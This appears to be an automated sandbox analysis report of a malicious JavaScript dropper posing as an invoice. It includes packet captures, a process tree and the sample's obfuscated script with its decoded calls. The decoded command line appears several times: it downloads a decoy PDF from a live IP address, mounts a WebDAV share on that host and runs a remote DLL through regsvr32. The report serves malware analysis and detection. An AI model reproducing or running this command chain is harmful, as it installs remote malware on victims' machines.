/Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:29:32.375458002 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:29:32.375469923 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 22:29:32.375565052 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 22:29:32.375579119 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 22:29:32.375591040 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 22:29:32.375962019 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 22:29:32.375974894 CET	552	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 10, 2025 22:29:32.375986099 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 22:29:32.375999928 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 22:29:32.380386114 CET	496	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	193.143.1.205	8888	1784	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:29:34.244482040 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:29:35.036957026 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:29:34 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:29:27
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js"
Imagebase:	0x7ff62be40000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:29:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll
Imagebase:	0x7ff6fb880000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:29:28
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:29:28
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:29:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:29:33
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6fb880000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:29:33
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff65f140000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:29:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:29:34
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:29:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1656,i,15161979393311407619,15882621211136608978,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function cghgcyg() {	cghgcyg() ➔ undefined
1	eylemri = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mufhc = this[nsmck + kydyo + uyszbje + tvamcppsv + hrkfmqm + ybxoa + uhlzjmfdx + ztvyhre] ( this[qounm + uaflrz + wajia + uyszbje + oiumyzm + nsmck + ztvyhre][bzbyjg + uyszbje + hrkfmqm + kydyo + ztvyhre + hrkfmqm + dclun + khpdx + mjhjrr + hrkfmqm + wajia + ztvyhre] ( qounm + uaflrz + wajia + uyszbje + oiumyzm + nsmck + ztvyhre + galpqymmp + uaflrz + aacjsqc + hrkfmqm + yirguh + yirguh ) [ebcuodfzd + hrkfmqm + ywsgqy + ebcuodfzd + hrkfmqm + kydyo + pemers] ( tlmjhwace + qaagbyrgl + nhtncv + opcrn + fukqdsi + bzbyjg + vdyssjf + ebcuodfzd + ebcuodfzd + nhtncv + dcaukb + itwqicl + fukqdsi + vdyssjf + uaflrz + nhtncv + ebcuodfzd + vgcktlqlc + bzbyjg + nemtbeb + uhlzjmfdx + ztvyhre + uyszbje + nemtbeb + yirguh + qywcirwi + lbcjn + kydyo + uhlzjmfdx + hrkfmqm + yirguh + vgcktlqlc + ybxoa + uhlzjmfdx + ztvyhre + hrkfmqm + uyszbje + uhlzjmfdx + kydyo + ztvyhre + oiumyzm + nemtbeb + uhlzjmfdx + kydyo + yirguh + vgcktlqlc + ggmeglvdn + nemtbeb + wajia + kydyo + yirguh + hrkfmqm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jlpcgsz = 0 ; jlpcgsz < eylemri[yirguh + hrkfmqm + uhlzjmfdx + ywsgqy + ztvyhre + aacjsqc] ; ++ jlpcgsz )
4	{
5	if ( mufhc == eylemri[jlpcgsz] )
6	{
7	mufhc = true;
8	break ;
9	}
10	}
11	if ( mufhc !== true )
12	this[qounm + uaflrz + wajia + uyszbje + oiumyzm + nsmck + ztvyhre][jisvcefdg + qjpnmj + oiumyzm + ztvyhre] ( );
13	this[qounm + uaflrz + wajia + uyszbje + oiumyzm + nsmck + ztvyhre][bzbyjg + uyszbje + hrkfmqm + kydyo + ztvyhre + hrkfmqm + dclun + khpdx + mjhjrr + hrkfmqm + wajia + ztvyhre] ( qounm + uaflrz + wajia + uyszbje + oiumyzm + nsmck + ztvyhre + galpqymmp + uaflrz + aacjsqc + hrkfmqm + yirguh + yirguh ) [uyszbje + qjpnmj + uhlzjmfdx] ( wajia + jfdwnlv + pemers + qywcirwi + eynmikev + wajia + qywcirwi + nsmck + nemtbeb + ywuuhyly + hrkfmqm + uyszbje + tvamcppsv + aacjsqc + hrkfmqm + yirguh + yirguh + galpqymmp + hrkfmqm + hjqypszn + hrkfmqm + qywcirwi + jyemqebk + bzbyjg + nemtbeb + jfdwnlv + jfdwnlv + kydyo + uhlzjmfdx + pemers + qywcirwi + humybppk + ybxoa + uhlzjmfdx + yfyuph + nemtbeb + gzclpq + hrkfmqm + jyemqebk + qounm + hrkfmqm + khpdx + ebcuodfzd + hrkfmqm + nybfej + qjpnmj + hrkfmqm + tvamcppsv + ztvyhre + qywcirwi + jyemqebk + dclun + qjpnmj + ztvyhre + hyinjmcf + oiumyzm + yirguh + hrkfmqm + qywcirwi + zmysybow + ztvyhre + hrkfmqm + jfdwnlv + nsmck + zmysybow + vgcktlqlc + oiumyzm + uhlzjmfdx + yfyuph + nemtbeb + oiumyzm + wajia + hrkfmqm + galpqymmp + nsmck + pemers + gnyefgo + qywcirwi + aacjsqc + ztvyhre + ztvyhre + nsmck + bfesl + eynmikev + eynmikev + hcbhzd + iqefdrok + zcnse + galpqymmp + hcbhzd + hjghvgmj + zcnse + galpqymmp + hcbhzd + galpqymmp + vubnx + ysqrrx + uafdogiuv + eynmikev + oiumyzm + uhlzjmfdx + yfyuph + nemtbeb + oiumyzm + wajia + hrkfmqm + galpqymmp + nsmck + aacjsqc + nsmck + humybppk + qiwxtn + qiwxtn + tvamcppsv + ztvyhre + kydyo + uyszbje + ztvyhre + qywcirwi + zmysybow + ztvyhre + hrkfmqm + jfdwnlv + nsmck + zmysybow + vgcktlqlc + oiumyzm + uhlzjmfdx + yfyuph + nemtbeb + oiumyzm + wajia + hrkfmqm + galpqymmp + nsmck + pemers + gnyefgo + qiwxtn + qiwxtn + wajia + jfdwnlv + pemers + qywcirwi + eynmikev + wajia + qywcirwi + uhlzjmfdx + hrkfmqm + ztvyhre + qywcirwi + qjpnmj + tvamcppsv + hrkfmqm + qywcirwi + vgcktlqlc + vgcktlqlc + hcbhzd + iqefdrok + zcnse + galpqymmp + hcbhzd + hjghvgmj + zcnse + galpqymmp + hcbhzd + galpqymmp + vubnx + ysqrrx + uafdogiuv + trxeubzeo + dzinzta + dzinzta + dzinzta + dzinzta + vgcktlqlc + pemers + kydyo + yfyuph + ywuuhyly + ywuuhyly + ywuuhyly + uyszbje + nemtbeb + nemtbeb + ztvyhre + vgcktlqlc + qiwxtn + qiwxtn + wajia + jfdwnlv + pemers + qywcirwi + eynmikev + wajia + qywcirwi + uyszbje + hrkfmqm + ywsgqy + tvamcppsv + yfyuph + uyszbje + zcnse + vubnx + qywcirwi + eynmikev + tvamcppsv + qywcirwi + vgcktlqlc + vgcktlqlc + hcbhzd + iqefdrok + zcnse + galpqymmp + hcbhzd + hjghvgmj + zcnse + galpqymmp + hcbhzd + galpqymmp + vubnx + ysqrrx + uafdogiuv + trxeubzeo + dzinzta + dzinzta + dzinzta + dzinzta + vgcktlqlc + pemers + kydyo + yfyuph + ywuuhyly + ywuuhyly + ywuuhyly + uyszbje + nemtbeb + nemtbeb + ztvyhre + vgcktlqlc + vubnx + uafdogiuv + svkjaank + uafdogiuv + tyoja + iqefdrok + hcbhzd + hjghvgmj + tyoja + zcnse + hcbhzd + dzinzta + vubnx + uafdogiuv + galpqymmp + pemers + yirguh + yirguh, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll",0,false) ➔ 0
14	}
15	dzinzta = "z";
16	dzinzta = "p";
17	dzinzta = "8";
18	nsmck = "t";
19	nsmck = "e";
20	nsmck = "d";
21	nsmck = "A";
22	nsmck = "g";
23	nsmck = "n";
24	nsmck = "x";
25	nsmck = "R";
26	nsmck = "p";
27	nsmck = "e";
28	nsmck = "C";
29	nsmck = "G";
30	nsmck = "r";
31	nsmck = "E";
32	nsmck = "u";
33	nsmck = "Z";
34	nsmck = "o";
35	nsmck = "B";
36	nsmck = "c";
37	nsmck = "g";
38	nsmck = "A";
39	nsmck = "S";
40	nsmck = "v";
41	nsmck = "a";
42	nsmck = "v";
43	nsmck = "Z";
44	nsmck = "c";
45	nsmck = "O";
46	nsmck = "V";
47	nsmck = "J";
48	nsmck = "t";
49	nsmck = "R";
50	nsmck = "u";
51	nsmck = "p";
52	nsmck = "p";
53	tvamcppsv = "H";
54	tvamcppsv = "x";
55	tvamcppsv = "b";
56	tvamcppsv = "Y";
57	tvamcppsv = "O";
58	tvamcppsv = "L";
59	tvamcppsv = "v";
60	tvamcppsv = "q";
61	tvamcppsv = "L";
62	tvamcppsv = "B";
63	tvamcppsv = "s";
64	nybfej = "w";
65	nybfej = "P";
66	nybfej = "A";
67	nybfej = "X";
68	nybfej = "X";
69	nybfej = "v";
70	nybfej = "h";
71	nybfej = "J";
72	nybfej = "q";
73	uaflrz = "j";
74	uaflrz = "F";
75	uaflrz = "M";
76	uaflrz = "F";
77	uaflrz = "Y";
78	uaflrz = "S";
79	zcnse = "y";
80	zcnse = "x";
81	zcnse = "e";
82	zcnse = "N";
83	zcnse = "y";
84	zcnse = "G";
85	zcnse = "D";
86	zcnse = "I";
87	zcnse = "B";
88	zcnse = "b";
89	zcnse = "U";
90	zcnse = "l";
91	zcnse = "e";
92	zcnse = "z";
93	zcnse = "J";
94	zcnse = "U";
95	zcnse = "d";
96	zcnse = "F";
97	zcnse = "m";
98	zcnse = "R";
99	zcnse = "Z";
100	zcnse = "j";
101	zcnse = "a";
102	zcnse = "A";
103	zcnse = "U";
104	zcnse = "Y";
105	zcnse = "D";
106	zcnse = "t";
107	zcnse = "q";
108	zcnse = "3";
109	ybxoa = "e";
110	ybxoa = "o";
111	ybxoa = "M";
112	ybxoa = "R";
113	ybxoa = "I";
114	qaagbyrgl = "o";
115	qaagbyrgl = "E";
116	qaagbyrgl = "c";
117	qaagbyrgl = "m";
118	qaagbyrgl = "t";
119	qaagbyrgl = "h";
120	qaagbyrgl = "k";
121	qaagbyrgl = "g";
122	qaagbyrgl = "K";
123	ggmeglvdn = "D";
124	ggmeglvdn = "X";
125	ggmeglvdn = "F";
126	ggmeglvdn = "l";
127	ggmeglvdn = "X";
128	ggmeglvdn = "z";
129	ggmeglvdn = "i";
130	ggmeglvdn = "c";
131	ggmeglvdn = "d";
132	ggmeglvdn = "p";
133	ggmeglvdn = "n";
134	ggmeglvdn = "A";
135	ggmeglvdn = "U";
136	ggmeglvdn = "Q";
137	ggmeglvdn = "L";
138	ggmeglvdn = "s";
139	ggmeglvdn = "s";
140	ggmeglvdn = "X";
141	ggmeglvdn = "F";
142	ggmeglvdn = "n";
143	ggmeglvdn = "M";
144	ggmeglvdn = "L";
145	ggmeglvdn = "c";
146	ggmeglvdn = "O";
147	ggmeglvdn = "d";
148	ggmeglvdn = "T";
149	ggmeglvdn = "z";
150	ggmeglvdn = "X";
151	ggmeglvdn = "v";
152	ggmeglvdn = "W";
153	ggmeglvdn = "Z";
154	ggmeglvdn = "N";
155	ggmeglvdn = "b";
156	ggmeglvdn = "E";
157	ggmeglvdn = "d";
158	ggmeglvdn = "s";
159	ggmeglvdn = "q";
160	ggmeglvdn = "L";
161	eynmikev = "f";
162	eynmikev = "U";
163	eynmikev = "P";
164	eynmikev = "C";
165	eynmikev = "c";
166	eynmikev = "T";
167	eynmikev = "t";
168	eynmikev = "G";
169	eynmikev = "L";
170	eynmikev = "m";
171	eynmikev = "f";
172	eynmikev = "h";
173	eynmikev = "K";
174	eynmikev = "x";
175	eynmikev = "q";
176	eynmikev = "o";
177	eynmikev = "K";
178	eynmikev = "f";
179	eynmikev = "I";
180	eynmikev = "J";
181	eynmikev = "T";
182	eynmikev = "p";
183	eynmikev = "/";
184	fukqdsi = "N";
185	fukqdsi = "k";
186	fukqdsi = "Y";
187	fukqdsi = "y";
188	fukqdsi = "t";
189	fukqdsi = "c";
190	fukqdsi = "J";
191	fukqdsi = "X";
192	fukqdsi = "U";
193	fukqdsi = "W";
194	fukqdsi = "W";
195	fukqdsi = "B";
196	fukqdsi = "p";
197	fukqdsi = "i";
198	fukqdsi = "E";
199	fukqdsi = "r";
200	fukqdsi = "W";
201	fukqdsi = "e";
202	fukqdsi = "d";
203	fukqdsi = "i";
204	fukqdsi = "e";
205	fukqdsi = "_";
206	nhtncv = "C";
207	nhtncv = "Q";
208	nhtncv = "b";
209	nhtncv = "n";
210	nhtncv = "A";
211	nhtncv = "D";
212	nhtncv = "g";
213	nhtncv = "J";
214	nhtncv = "n";
215	nhtncv = "E";
216	nhtncv = "M";
217	nhtncv = "i";
218	nhtncv = "V";
219	nhtncv = "E";
220	nhtncv = "E";
221	wajia = "T";
222	wajia = "y";
223	wajia = "i";
224	wajia = "d";
225	wajia = "E";
226	wajia = "n";
227	wajia = "t";
228	wajia = "Q";
229	wajia = "S";
230	wajia = "m";
231	wajia = "q";
232	wajia = "V";
233	wajia = "m";
234	wajia = "w";
235	wajia = "g";
236	wajia = "i";
237	wajia = "p";
238	wajia = "z";
239	wajia = "f";
240	wajia = "i";
241	wajia = "J";
242	wajia = "p";
243	wajia = "W";
244	wajia = "L";
245	wajia = "C";
246	wajia = "y";
247	wajia = "m";
248	wajia = "j";
249	wajia = "j";
250	wajia = "w";
251	wajia = "Y";
252	wajia = "p";
253	wajia = "J";
254	wajia = "H";
255	wajia = "R";
256	wajia = "D";
257	wajia = "v";
258	wajia = "O";
259	wajia = "T";
260	wajia = "O";
261	wajia = "M";
262	wajia = "c";
263	uhlzjmfdx = "j";
264	uhlzjmfdx = "v";
265	uhlzjmfdx = "a";
266	uhlzjmfdx = "x";
267	uhlzjmfdx = "G";
268	uhlzjmfdx = "h";
269	uhlzjmfdx = "O";
270	uhlzjmfdx = "X";
271	uhlzjmfdx = "C";
272	uhlzjmfdx = "u";
273	uhlzjmfdx = "N";
274	uhlzjmfdx = "W";
275	uhlzjmfdx = "M";
276	uhlzjmfdx = "o";
277	uhlzjmfdx = "N";
278	uhlzjmfdx = "Z";
279	uhlzjmfdx = "t";
280	uhlzjmfdx = "I";
281	uhlzjmfdx = "R";
282	uhlzjmfdx = "k";
283	uhlzjmfdx = "u";
284	uhlzjmfdx = "E";
285	uhlzjmfdx = "X";
286	uhlzjmfdx = "t";
287	uhlzjmfdx = "l";
288	uhlzjmfdx = "M";
289	uhlzjmfdx = "X";
290	uhlzjmfdx = "y";
291	uhlzjmfdx = "Y";
292	uhlzjmfdx = "Z";
293	uhlzjmfdx = "Z";
294	uhlzjmfdx = "J";
295	uhlzjmfdx = "J";
296	uhlzjmfdx = "n";
297	vgcktlqlc = "x";
298	vgcktlqlc = "D";
299	vgcktlqlc = "l";
300	vgcktlqlc = "T";
301	vgcktlqlc = "k";
302	vgcktlqlc = "\\";
303	hcbhzd = "F";
304	hcbhzd = "q";
305	hcbhzd = "p";
306	hcbhzd = "d";
307	hcbhzd = "m";
308	hcbhzd = "p";
309	hcbhzd = "z";
310	hcbhzd = "M";
311	hcbhzd = "Q";
312	hcbhzd = "L";
313	hcbhzd = "T";
314	hcbhzd = "C";
315	hcbhzd = "x";
316	hcbhzd = "f";
317	hcbhzd = "u";
318	hcbhzd = "X";
319	hcbhzd = "1";
320	hjghvgmj = "S";
321	hjghvgmj = "s";
322	hjghvgmj = "E";
323	hjghvgmj = "e";
324	hjghvgmj = "4";
325	uafdogiuv = "s";
326	uafdogiuv = "o";
327	uafdogiuv = "E";
328	uafdogiuv = "D";
329	uafdogiuv = "P";
330	uafdogiuv = "O";
331	uafdogiuv = "t";
332	uafdogiuv = "x";
333	uafdogiuv = "m";
334	uafdogiuv = "E";
335	uafdogiuv = "j";
336	uafdogiuv = "h";
337	uafdogiuv = "I";
338	uafdogiuv = "h";
339	uafdogiuv = "z";
340	uafdogiuv = "A";
341	uafdogiuv = "w";
342	uafdogiuv = "w";
343	uafdogiuv = "p";
344	uafdogiuv = "k";
345	uafdogiuv = "S";
346	uafdogiuv = "z";
347	uafdogiuv = "B";
348	uafdogiuv = "y";
349	uafdogiuv = "C";
350	uafdogiuv = "Z";
351	uafdogiuv = "h";
352	uafdogiuv = "i";
353	uafdogiuv = "t";
354	uafdogiuv = "Q";
355	uafdogiuv = "f";
356	uafdogiuv = "5";
357	kydyo = "Z";
358	kydyo = "o";
359	kydyo = "f";
360	kydyo = "W";
361	kydyo = "L";
362	kydyo = "B";
363	kydyo = "l";
364	kydyo = "V";
365	kydyo = "T";
366	kydyo = "t";
367	kydyo = "d";
368	kydyo = "g";
369	kydyo = "J";
370	kydyo = "I";
371	kydyo = "R";
372	kydyo = "T";
373	kydyo = "J";
374	kydyo = "j";
375	kydyo = "Z";
376	kydyo = "a";
377	qiwxtn = "k";
378	qiwxtn = "a";
379	qiwxtn = "o";
380	qiwxtn = "J";
381	qiwxtn = "Q";
382	qiwxtn = "H";
383	qiwxtn = "h";
384	qiwxtn = "F";
385	qiwxtn = "b";
386	qiwxtn = "U";
